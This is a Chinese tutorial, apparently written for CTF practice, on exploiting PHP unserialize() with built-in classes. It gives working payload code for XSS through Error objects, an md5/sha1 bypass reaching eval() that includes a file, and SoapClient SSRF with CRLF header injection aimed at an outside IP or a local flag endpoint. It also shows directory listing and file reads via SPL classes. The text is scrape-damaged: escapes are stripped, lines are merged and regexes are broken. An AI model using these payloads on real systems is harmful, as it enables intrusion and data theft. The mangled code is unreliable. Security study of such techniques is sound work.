深入了解PHP反序列化原生类

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //执行unserialize()时，先会调用这个函数
__sleep() //执行serialize()时，先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把对象当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php$classes = get_declared_classes();foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "n";
        }
    }}

1
<?php$a = unserialize($_GET['a']);echo $a;

1
<?php$a = new Error("<script>alert('xss')</script>");$b = serialize($a);echo urlencode($b);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?phperror_reporting(0);class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/<?php|(|)|"|'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }}if (isset($_GET['great'])){
    unserialize($_GET['great']);} else {
    highlight_file(__FILE__);}

1
2
3
4
5
6
<?php$a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3);
$d=new Exception("payload",4);
echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
echo $d;

1
2
3
4
<?php$a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){
    echo '$a不等于$b'."n";}if (md5($a)===md5($b)){
    echo "md5值相等n";}if (sha1($a)===sha1($b)){
    echo "sha1值相等";}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?phpclass SYCLOVER {
	public $syc;
	public $lover;
	public function __wakeup(){
		if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
		   if(!preg_match("/<?php|(|)|"|'/", $this->syc, $match)){
			   eval($this->syc);
		   } else {
			   die("Try Hard !!");
		   }
		   
		}
	}}$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则$a=new Error($str,1);
	$b=new Error($str,2);
	$c = new SYCLOVER();$c->syc = $a;$c->lover = $b;
	echo(urlencode(serialize($c)));?>

1
2
3
public SoapClient :: SoapClient(mixed $wsdl [，array $options ])
第一个参数是用来指明是否是wsdl模式，如果为`null`，那就是非wsdl模式。
第二个参数为一个数组，如果在wsdl模式下，此参数可选；如果在非wsdl模式下，则必须设置location和uri选项，其中location是要将请求发送到的SOAP服务器的URL，而uri 是SOAP服务的目标命名空间。

1
2
3
SOAP 是基于 XML 的简易协议，是用在分散或分布的环境中交换信息的简单的协议，可使应用程序在 HTTP 之上进行信息交换
SOAP是webService三要素（SOAP、WSDL、UDDI）之一：WSDL 用来描述如何访问具体的接口， UDDI用来管理，分发，查询webService ，SOAP（简单对象访问协议）是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议，XML作为数据传送的格式。

1
2
3
4
5
6
7
8
9
<?php
$a = new SoapClient(null, array(
'location' => 'http://47.102.146.95:2333', 
'uri' =>'uri',
'user_agent'=>'111111'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

1
2
3
HTTP报文的结构：状态行和首部中的每行以CRLF结束，首部与主体之间由一空行分隔。
CRLF注入漏洞，是因为Web应用没有对用户输入做严格验证，导致攻击者可以输入一些恶意字符。
攻击者一旦向请求行或首部中的字段注入恶意的CRLF(rn)，就能注入一些首部字段或报文主体，并在响应中输出。

1
2
3
4
5
<?php$a = new SoapClient(null, array(
    'location' => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111rnCookie: PHPSESSION=dasdasd564d6as4d6a"));
    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();

1
2
3
4
5
<?php$a = new SoapClient(null, array(
    'location' => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111rnContent-Type: application/x-www-form-urlencodedrnX-Forwarded-For: 127.0.0.1rnCookie: PHPSESSID=3stu05dr969ogmprk28drnju93rnContent-Length: 10rnrnpostdata"));
    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();

1
2
3
4
5
6
7
8
9
10
11
12
13
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); //获取xff头


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

1
2
3
4
5
6
7
8
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"rn",$a);
echo urlencode($a);
?>

1
2
3
4
5
<?php
$a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.'<br>';
}

1
2
3
<?phphighlight_file(__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){
    echo($a);
}*/